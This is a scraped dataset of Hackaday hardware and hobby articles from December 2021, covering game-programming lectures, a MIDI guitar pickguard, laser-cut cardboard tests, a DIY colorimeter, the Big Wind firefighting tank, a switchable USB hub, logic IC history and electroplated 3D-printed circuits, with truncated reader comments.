"author": "Bruce Perens K6BP",
"timestamp": "2021-12-07T06:34:37",
"content": "For hams, who like to keep extraneous RF down, and for locations where lightning is a problem, having an optical link that is something like USB is actually very attractive.",
"parent_id": n... | 1,760,372,860.748182 | ||
https://hackaday.com/2021/12/06/my-major-is-gaming/ | My Major Is Gaming… | Al Williams | [
"Games",
"Software Development"
] | [
"game programming",
"university",
"video games"
] | Times have changed. You can now take a university class in writing games. In fact, YOU can now take a university class about writing games because [Dave Churchill] of Memorial University has put
all 22 of his lectures
up for your enjoyment. [
Dr. Churchill
] isn’t planning on releasing the assignment files, but you can still get a lot from watching the videos. Apparently, the classes were also live streamed on Twitch.
The games build on
SFML
so the resulting games can be portable. The library abstracts input, graphics, sound, and networking.
The games use an entity component system (ECS) which is one possible architecture. Like any kind of software, of course, there are many different ways to get the job done. The games appear to be 2D, so if you were planning on writing the next Doom, you’ll need to do a little extracurricular work.
Like most classes, the first one (see below) starts off with some housekeeping, but it picks up rapidly. You should probably already know C++ if you want to get the most out of it.
The course focuses on desktop computer games, but the ideas would apply even to
writing things for consoles
. If video games aren’t your thing, you can always
hack your own non-degree on some other computer science topic
.
https://www.youtube.com/watch?v=LpEdZbUdDe4&list=PL_xRyXins848jkwC9Coy7B4N5XTOnQZzz | 12 | 8 | [
{
"comment_id": "6404846",
"author": "Corry",
"timestamp": "2021-12-07T12:08:48",
"content": "Dr Ian Parberry was doing this in 1999 at the University of North Texas….only CS professor worth anything during my time there. and the physics class there was utterly useless. (So I retook it elsewhere)... | 1,760,372,860.630374 | ||
https://hackaday.com/2021/12/06/guitar-pickguard-adds-midi-capabilities/ | Guitar Pickguard Adds MIDI Capabilities | Bryan Cockfield | [
"Musical Hacks"
] | [
"32u4",
"Adafruit Feather",
"capacitive",
"guitar",
"live",
"microcontroller",
"midi",
"music",
"performance",
"pick guard",
"touch",
"wires"
] | For a standard that has been in use since the 1980s, MIDI is still one of the most dominant forces on the musical scene even today. It’s fast, flexible, and offers a standard recognized industry-wide over many different types of electronic instruments. Even things which aren’t instruments can be turned into musical devices like the infamous banana keyboard via the magic of MIDI, and it also allows augmentation of standard instruments with other capabilities
like this guitar with a MIDI interface built into the pick guard
.
[Ezra] is the creator of this unique musical instrument which adds quite a few capabilities to his guitar. The setup is fairly straightforward: twelve wires run to the pick guard which are set up as capacitive sensors and correspond with a note on the chromatic scale. Instead of using touchpads, using wires allows him to bend away the “notes” that he doesn’t need for any particular piece of music. The wires are tied back to an Adafruit Feather 32u4 microcontroller behind the neck of the guitar which also has a few selectors for changing the way that the device creates tones. He can set the interface to emit single notes or continuously play notes, change the style, can change their octave, and plenty of other features as well.
One of the goals of this project was to increase a guitar player’s versatility when doing live performances, and we would have to agree that this gives a musician a much wider range of abilities without otherwise needing a lot of complex or expensive equipment on stage. We’ve seen a few other MIDI-based builds focused on live performances lately, too, like this one which
allows a band to stay in sync with each other
. | 1 | 1 | [
{
"comment_id": "6404883",
"author": "Derek",
"timestamp": "2021-12-07T16:03:29",
"content": "“For a standard that has been in use since the 1980s” wait until you hear about gcode",
"parent_id": null,
"depth": 1,
"replies": []
}
] | 1,760,372,860.831927 | ||
https://hackaday.com/2021/12/06/cardboard-vs-laser-shootout-a-tale-of-speed-and-power-settings/ | Cardboard Vs. Laser Shootout: A Tale Of Speed And Power Settings | Kristina Panos | [
"Laser Hacks"
] | [
"cardboard",
"chip board",
"friggin laser beams",
"laser analysis"
] | You probably already know that cardboard is versatile, but that goes far beyond the corrugated stuff. There are many types of cardboard out there, some of which you may not even be aware of. In the video after the break, [Eric Strebel]
goes through them all and pits each one against his 50 W water-cooled laser
with air assist, making a nice reference for himself in the process.
The point of this shootout is to find the optimum speed and power settings for each of these materials using a free power versus speed file. [Eric] almost always runs the thing somewhere between 10% and 50% power, so that’s the range represented here. He’s looking for two things: the settings that leave the least amount of kerf (make the thinnest cut line) and make the cleanest cuts without producing a lot of residue.
[Eric] divided his contestants into three weight classes, the heavyweights being butter board, chip board, mat board, and illustration board All of these are thicker than 1mm. On the middleweight roster, you have railroad board, 4-ply Bristol board, and stencil board, and all of these are under 1mm thickness. Finally, we have the lightweights — yupo paper and 300 series Bristol board, both of which are less than ½ mm thick.
To test their model-making capabilities, [Eric] made a cube out of each material. Once the glue is dry, he peels off the painter’s tape and goes through the various pros and cons of them all. Be sure to check it out after the break.
Of course, you don’t have to hit up the art store to have fun with cardboard — just visit your recycling bin and
mix up some cardboard pulp for sculpting and molding
. | 4 | 2 | [
{
"comment_id": "6404732",
"author": "PWalsh",
"timestamp": "2021-12-06T22:52:05",
"content": "Making power/speed cheat sheets for your laser is something everyone should do, for all the common materials you use.Start by tuning your laser, making certain that all of the beam is incident on the lens ... | 1,760,372,860.932543 | ||
https://hackaday.com/2021/12/06/classic-colorimeter-clone-calibrates-cuvettes-contents/ | Classic Colorimeter Clone Calibrates Cuvettes’ Contents | Robin Kearey | [
"chemistry hacks"
] | [
"analytical chemistry",
"colorimeter",
"cuvettes"
] | For anyone dabbling in home chemistry, having access to accurate measurement equipment can mean the difference between success and failure. But with many instruments expensive and hard to find, what’s a home chemist to do? Build their own equipment, naturally. [Abizar] went ahead and
built himself a colorimeter
out of wood and spare electronic components.
A colorimeter (in a chemistry context) is an instrument that determines the concentration of a solution by measuring how much light of a certain wavelength is absorbed. [Abizar]’s design was inspired by the classic Klett-Summerson colorimeter from the 1950s, which uses a light bulb and color filters to select a wavelength, plus a photoresistor to measure the amount of light absorbed by the sample. Of course, a more modern solution would be to use LEDs of various colors, which is exactly what [Abizar] did, although he did give it a retro touch by using an analog meter as the readout device.
The body of the colorimeter is made from laser-cut pieces of wood, which form a rigid enclosure when stacked together. The color wheel holds eleven different LEDs and is made with a clever ratchet mechanism to keep it aligned to the cuvette, as well as a sliding contact to drive current into the selected LED. All parts are painted black to prevent stray reflections inside the instrument, but also make it look cool enough to fit in any evil genius’s lab. In the video embedded below, [Abizar] demonstrates the instrument and shows how it was put together.
While we haven’t seen anyone make their own colorimeter before, we have seen
DIY spectrophotometers
(which measure the entire absorption spectrum of a solution) and even
building blocks to make a complete biochemistry lab
. | 13 | 4 | [
{
"comment_id": "6404703",
"author": "John",
"timestamp": "2021-12-06T21:20:08",
"content": "Some sanding and some spray paint could have made it look much nicer, but it’s a great design. I wonder if those color sensors that adafruit has are sensitive enough to do this with digital output..",
"p... | 1,760,372,860.886225 | ||
https://hackaday.com/2021/12/06/big-wind-is-the-meanest-firefighting-tank-you-ever-saw/ | Big Wind Is The Meanest Firefighting Tank You Ever Saw | Lewin Day | [
"Engineering",
"Hackaday Columns",
"Misc Hacks",
"Slider"
] | [
"big wind",
"fire",
"fire fighting",
"oil",
"oil fire",
"oil well"
] | As the Iraqi army retreated at the end of the first Gulf War, they took the term “scorched Earth policy” quite literally. Kuwaiti oil wells were set alight en masse, creating towering infernos that blackened the sky.
As it turns out, extinguishing a burning oil well is no easy feat. In the face of this environmental disaster, however, a firefighting team from Hungary made a name for themselves out on the desert sands,
astride a jet-engined tank named
Big Wind
.
Sheer Power
Big Wind
was not the first of its kind, but a successful development of a concept first pioneered by the Soviet Union. Decades before, the Soviets had experimented with fitting MiG-15 jet engines on the back of ZIL-131 trucks. With a pair of water nozzles bolted up just above the jet exhaust, a powerful blast of water and air could be used to effectively fight large fires. This idea became popular in the Hungarian oil industry, particularly after one example was
used to put out a fire at the 168 Algyo oil well in 1968
.
Big Wind on the ground in Kuwait, extinguishing a burning oil well. Credit: Getty Images
Decades later, in 1991, oil company MB Drilling was putting the finishing touches on an advanced version of its own design in a town some 50 miles southeast of Budapest.
Big Wind,
as it came to be known, was built on the chassis of a Russian T-34 tank dating back to World War II. In place of the original gun turret, it instead sported a pair of Tumansky R-25 turbojets, as used in the MiG-21 fighter jet and producing 27,000 pounds of thrust. Each engine was then fitted with three water nozzles each, capable of delivering up to 220 gallons of water per second. It was finished right around when Kuwait was desperate to extinguish hundreds of burning oil wells, and so was quickly deployed to the country via aerial transport.
The mechanism behind its firefighting power is simple. Oil blasting out of a wellhead is under pressure, and the primary flame is a good 15-30 feet clear in the air. The intense blast of water and air helps cut off the supply of oil to the flame, while also helping to suck huge amounts of heat out of the atmosphere and surrounding area. With the air around the burning wells reaching temperatures of 650 °F, and the sand below heating up to 1300 °F, it wasn’t enough to simply put out the fire, either.
Big Wind
would continue to spray for a full 20 minutes after extinguishing the flames, ensuring the oil didn’t autoignite upon splashing back down on the scorching hot ground.
Operating the machine is no mean feat. A crew of three operate
Big Wind,
with a driver nestled inside the front of the machine responsible for crawling it towards the fire at its top speed of 3 mph, chosen to avoid damaging the relatively delicate jet engine platform above. At the rear, a second operator is charged with controlling the jet engines and water nozzles. The third member of the crew walks alongside roughly 15 feet from the tank, issuing commands to the others via a set of wired controls. The crew all wear flame-resistant gear to protect themselves from the immense heat, and gloves to avoid burning themselves on the tank’s controls when within 40 feet of a blaze.
Water for the operation was sourced from the Arabian Gulf, with saltwater pumped in using oil pipelines running in reverse. Reservoirs were dug specifically for the purpose, feeding
Big Wind
with thousands of gallons of water a minute with the help of huge diesel-powered water pumps.
Gallons of seawater were pumped into reservoirs to feed fire fighting apparatus charged with extinguishing the well fires in Kuwait. Credit: Getty Images
Inside, the driver received commands from outside, via LED arrows that would light up to indicate the fire chief’s desired direction of travel. Similar methods are used to instruct the rear operator on when to fire up the jets and water. Each crew member also has a dead-man switch system, which they must acknowledge regularly to indicate their safety during an operation.
Following the fire chief’s orders, the machine is then positioned as close as 25 feet to the burning well, and the R-25 jet engines fired up to their safe maximum of 70% throttle at ground level. Then, the water nozzles are engaged and the burning well is quickly snuffed out. Once extinguished, and the area cooled off for 20 minutes with plenty of additional water,
Big Wind
is then reversed out of the area and the difficult work of capping the damaged well can begin.
Where Are They Now?
In its original form,
Big Wind
put out nine burning oil wells in Kuwait, more than many teams that were working with the more traditional method of blowing out well fires with the use of high explosives. The tank was captured in action in the IMAX film
Fires of Kuwait,
with Rip Torn narrating the action as the Hungarian crew battled the flames.
These days, however, the machine rolls around on the chassis of a more modern VT-55 recovery vehicle, which shares its platform with the later T-55 tank. The vehicle was mothballed after further years of work, placed in storage at Tokol airport until around 2013, before it was resurrected by Hungarian oil company MOL Group
to once again undertake its original purpose.
The practice of fighting fires with big jet engines hasn’t really caught on widely. It’s all but useless for anything urban, where the powerful blast would cause excessive damage and injuries. Outside of the Hungarian oil subculture, the practice has been largely ignored by those more familiar with explosive techniques or the simple application of tons of water with conventional pumps and hoses. Regardless,
Big Wind
remains as one of the most impressive fire fighting machines ever built, and that title will likely not be challenged for some time to come. | 79 | 18 | [
{
"comment_id": "6404654",
"author": "SPD",
"timestamp": "2021-12-06T18:58:11",
"content": "Thats got to cost some money for all that water? 220gal a second ouf.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6404659",
"author": "KVG",
"times... | 1,760,372,861.05463 | ||
https://hackaday.com/2021/12/06/touchscreen-powered-usb-hub-selectively-powers-down-devices/ | Touchscreen-Powered USB Hub Selectively Powers Down Devices | Robin Kearey | [
"Peripherals Hacks"
] | [
"power switching",
"raspberry pi",
"touchscreen",
"USB hub"
] | One of the most useful features of the Universal Serial Bus is its hot-plugging capability. You simply plug in your device, use it, and unplug it when you’re done. But what if you’ve got a huge number of USB devices? You might not want to use all of them all of the time, but repeatedly unplugging and re-plugging them is inconvenient and wears out the connectors. [Matt G] fixed this problem by building the
RUNBOX: a USB hub that can be controlled through a touchscreen
.
The USB hub part consists of a Yepkit YKUSH 3, which is a USB 3.1 hub that support software-controlled disconnecting of devices. [Matt] hooked up a Raspberry Pi to its ports so that it could switch devices on and off through a software command. To make it more user-friendly he added a touch screen controller and created an app using the Electron framework. This allowed him to enable or disable separate devices with a single touch: turn on the mic and webcam for video-conferencing, or fire up the VR headset and game controller for a gaming session.
The modified USB hub is housed in a laser-cut enclosure with plenty of space to hook up a variety of USB devices. The touchscreen neatly fits just above [Matt]’s keyboard; this setup was inspired by head-down displays used in aircraft which similarly use a small additional screen for peripheral functions.
Although we’ve seen switchable USB hubs before, they usually require you to either press a manual switch or
run dedicated software on your PC
. We’ve also seen other sleek
builds combining a Raspberry Pi with a USB hub
. | 12 | 4 | [
{
"comment_id": "6404614",
"author": "Mike",
"timestamp": "2021-12-06T17:15:03",
"content": "But why? you can buy a 10 or 20 port USB hub with switches for each port for cheap on amazon.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6404624",
"autho... | 1,760,372,861.106292 | ||
https://hackaday.com/2021/12/06/ttl-and-cmos-logic-ics-the-building-blocks-of-a-revolution/ | TTL And CMOS Logic ICs: The Building Blocks Of A Revolution | Maya Posch | [
"Featured",
"History",
"Original Art",
"Slider"
] | [
"iron curtain",
"logic ICs",
"micrologic"
] | When starting a new electronics project today, one of the first things that we tend to do is pick the integrated circuits that make up the core of the design. This can be anything from a microcontroller and various controller ICs to a sprinkling of MOSFETs, opamps, and possibly some 7400- or 4000-series
logic ICs
to tie things together. Yet it hasn’t been that long since this level of high integration and miniaturization was firmly in the realm of science-fiction, with even
NORBIT
modules seeming futuristic.
Starting with the construction of the first point-contact transistor in 1947 and the bipolar junction transistor (BJT) in 1948 at Bell Labs, the electronics world would soon see the beginning of its biggest transformation to that point. Yet due to the interesting geopolitical circumstances of the 20th century, this led to a fascinating situation of parallel development, blatant copying of designs, and one of the most fascinating stories in technology history on both sides of the Iron Curtain.
A Smorgasbord of New Tech
Dual 3-input NOR gate implemented in RTL as used in the Apollo Guidance Computer. (Credit: NASA)
After the invention of the transistor, it was of course not a simple matter of just slapping some transistors on a silicon die to create logic gates, putting it into a plastic (or ceramic) package, and taking over the world of digital electronics.
The first viable approach for creating logic gates with transistors in the early 1960s was resistor-transistor logic (
RTL
), which limited the number of transistors needed. At the time, resistors were cheaper and transistors were still hard to make. This approach was used with the
Apollo Guidance Computer
, which was built using discrete 3-input RTL-based NOR gates.
The competing diode-transistor logic (
DTL
) circuit technology had the advantages of using less power and allowing for significantly more fan-in (the number of supported inputs to a circuit), as well as for relatively easy increase of fan-out (number of outputs) by using additional diodes and transistors. A disadvantage of DTL was that the propagation delay through a circuit is relatively long due to the charge stored in the base region of the transistors.
This led to a number of attempts to control this saturation issue, including an added capacitor, a
Baker clamp
and the
Schottky transistor
. The early 1960s saw the release of DTL-based logic chips, with Signetics’ SE100 series, followed by Fairchild with the 930-series DTμL (micrologic) series. Following DTL was transistor-transistor logic (
TTL
), which is fairly similar to DTL, but as the name suggests, uses only transistors.
The first commercially produced TTL micrologic chips were Sylvania’s Universal High-Logic Level (
SUHL
) and the successor SUHL II series. Texas Instruments (TI) would introduce the 5400 TTL series for military applications in 1964, with two years later the 7400-series introduced for general applications.
Somewhat in parallel, emitter-coupled logic (
ECL
) also saw continuous success into the 1980s. The main advantage of ECL over approaches like RTL and DTL as well as TTL is that ECL is very fast due to its emitter-following nature, using a single overdriven bipolar junction transistor (
BJT
). The design is such that none of the transistors used are ever in saturation, with small voltage swings between high and low levels (0.8 V) that allow for relatively fast switching times.
Although ECL has the disadvantages of requiring relatively complicated power supplies with low noise, and drawing constant current, its high switching speeds made it an obvious choice in mainframes and other applications where speed was the most important factor. This included the Cray-1 super computer, as well as a range of IBM and VAX mainframes.
This contrasts with the development of the
MOSFET
(metal–oxide–semiconductor field-effect transistor), which saw its basic working principles already proposed in 1926, but took a much longer time to become ready for commercialization than the BJT, even though MOSFETs offer significant size and scaling advantages over these. Yet when MOS technology became ready for mass-production in the late 1960s, it caused a small revolution that enabled not just the still common
4000-series
CMOS logic chips (introduced by RCA in 1968), but also the microprocessors that would power the home computer revolution of the 1970s.
Checking in with the CIA
Probably little of the preceding history is unfamiliar to the average reader, but where things get interesting is with the development of these technologies in the Soviet Union and allied nations. As this part of the world was on less-than-friendly relations with the US and allies since the 1940s, it got largely left out of the big semiconductor revolution that was taking place primarily in the US.
Essentially this meant that the manufacturing equipment and know-how for manufacturing transistors and MOSFETs was under strict embargo, with First World countries being forbidden from exporting any such items into the USSR and allied territories. When we look at
a top secret 1976 CIA document
(declassified in 1999) titled
USSR Seeks to Build Advanced Semiconductor Industry With Embargoed Western Machinery,
we can get a good impression of what the state of things were at that point in time.
Even as the US, Europe, and Japan were ramping up their respective semiconductor industries, the USSR was lagging severely behind. Although USSR leadership recognized the massive tactical advantage that modern semiconductor technology would give them, this was not a disadvantage that they would easily overcome. This led to a large-scale effort by the USSR to illicitly import Western machinery for manufacturing cutting-edge semiconductors and copy whatever technology they could get their hands on.
The Joys of Standards
Four TTL ICs: Czechoslovak MH74S00, Texas Instruments SN74S251N, East German DL004D (74LS04), Soviet K155LA13 (7438).
Some of the result of this can be found in the many logic ICs that are
compatible with 7400-logic series
TTL ICs. While the European manufacturers would follow the
Pro Electron
naming scheme (e.g. FJH101 for the 7403 8-input NAND gate), the Soviet and to some extent Eastern Bloc manufacturers used the
Soviet IC designation
scheme. This began with the NP0.034.000 standard in 1968 which saw its first update in 1973 with
GOST
18682—73.
Notable with IC logic chips produced for the Soviet market is that they use metric pin spacing (2.5 mm and 1.2 mm) rather than Imperial (2.54 mm and 1.27 mm). In Eastern Bloc countries like Czechoslovakia, Poland, and East Germany, various IC designation schemes were used, with many of them matching the Western equivalent. In East Germany, for example, three 7400 compatible series existed — 6400, 7400 and 8400 — each targeting a different market with different temperature ranges and other properties.
Prefixes of Eastern European 7400 series logic chips.
Even more confusingly, logic chips designated for export would sometimes be marked using the US-style 7400 designation. The use of Cyrillic lettering instead of Latin characters can also be very confusing, especially when a Cyrillic and Latin character look similar. The continued production of these series of logic ICs after the dissolution of the Soviet Union in 1991 at semiconductor plants which may not offer the printing of Cyrillic characters – forcing the use of romanized characters – has further muddled the naming here.
Transforming Iron into Silicon
Stained glass with logo of the Czechoslovak company Tesla Radio in Pasáž Světozor, Vodičkova ulice, Praha. (Credit: František Hudeček)
For the people who lived in the USSR or any of its satellite nations, much of the technological revolution of the 1960s through the 1980s went largely by unnoticed. Due to the lack of semiconductor manufacturing capacity in the USSR, the ICs that got produced mostly found their way into military equipment and related, leaving lesser and outdated ICs for the average citizen, also resulting in valve technology surviving in the USSR for decades beyond in much of the West.
Yet with the fall of the Soviet Union, this all changed. With the embargoes against the USSR no longer in place, consumer goods filled with Western ICs flooded the markets in Eastern Europe and Russia, causing the rapid demise of companies like the Czechoslovak
Tesla
, which had been manufacturing pretty much all electronics for the local market there.
Military and other long-term contracts ensured that both the Soviet IC naming scheme and special ICs survive to this day, but the exciting days of spy-versus-spy of the Cold War have passed, leaving behind an oddly split history that will no doubt confuse many for decades to come. | 33 | 15 | [
{
"comment_id": "6404586",
"author": "Peter_s",
"timestamp": "2021-12-06T16:12:31",
"content": "PLEASE.Do use the right words.It was the German Democratic Republic. (1949-1990)None of the devaluating ahtefull dumb speach.No East Germany,no soviet satellite or what so ever.Thanks",
"parent_id": n... | 1,760,372,861.177801 | ||
https://hackaday.com/2021/12/06/secret-ingredient-for-3d-printed-circuit-traces-electroplating/ | Secret Ingredient For 3D-Printed Circuit Traces: Electroplating | Donald Papp | [
"3d Printer hacks",
"chemistry hacks"
] | [
"3d printed",
"3d-printed pcb",
"conductive filament",
"electroplating",
"pcb"
] | Conductive filament exists, but it takes more than that to 3D print something like a circuit board. The main issue is that traces made from conductive filament are basically resistors; they don’t act like wires. [hobochild]’s interesting way around this problem is to
use electroplating to coat 3D-printed traces with metal
, therefore creating a kind of 3D-printed circuit board. [hobochild] doesn’t yet have a lot of nitty-gritty detail to share, but his process seems fairly clear. (Update: good news!
here’s the project page
and
GitHub repository
with more detail.)
The usual problem with electroplating is that the object to be coated needs to be conductive. [hobochild] addresses this by using two different materials to create his test board. The base layer is printed in regular (non-conductive) plastic, and the board’s extra-thick traces are printed in conductive filament.
Electroplating
takes care of coating the conductive traces, resulting in a pretty good-looking 3D-printed circuit board whose conductors feature actual metal. [hobochild] used
conductive filament from Proto-pasta
and the board is a proof-of-concept flashing LED circuit. Soldering might be a challenge given the fact that the underlying material is still plastic, but the dual-material print is an interesting angle that even allows for plated vias and through-holes.
We have seen conductive filament used to
successfully print workable electrical connections
, but applications are limited due to the nature of the filament. Electroplating, a technology accessible to virtually every hacker’s workbench, continues to be applied to 3D printing in interesting ways and might be a way around these limitations. | 46 | 16 | [
{
"comment_id": "6404532",
"author": "hobochild",
"timestamp": "2021-12-06T12:26:50",
"content": "For those that are interested in the process, I wrote a bit more about it here:https://projectquine.substack.com/p/the-printn-plate-seriesand will try continue to document things as I improve things.",
... | 1,760,372,861.328422 |
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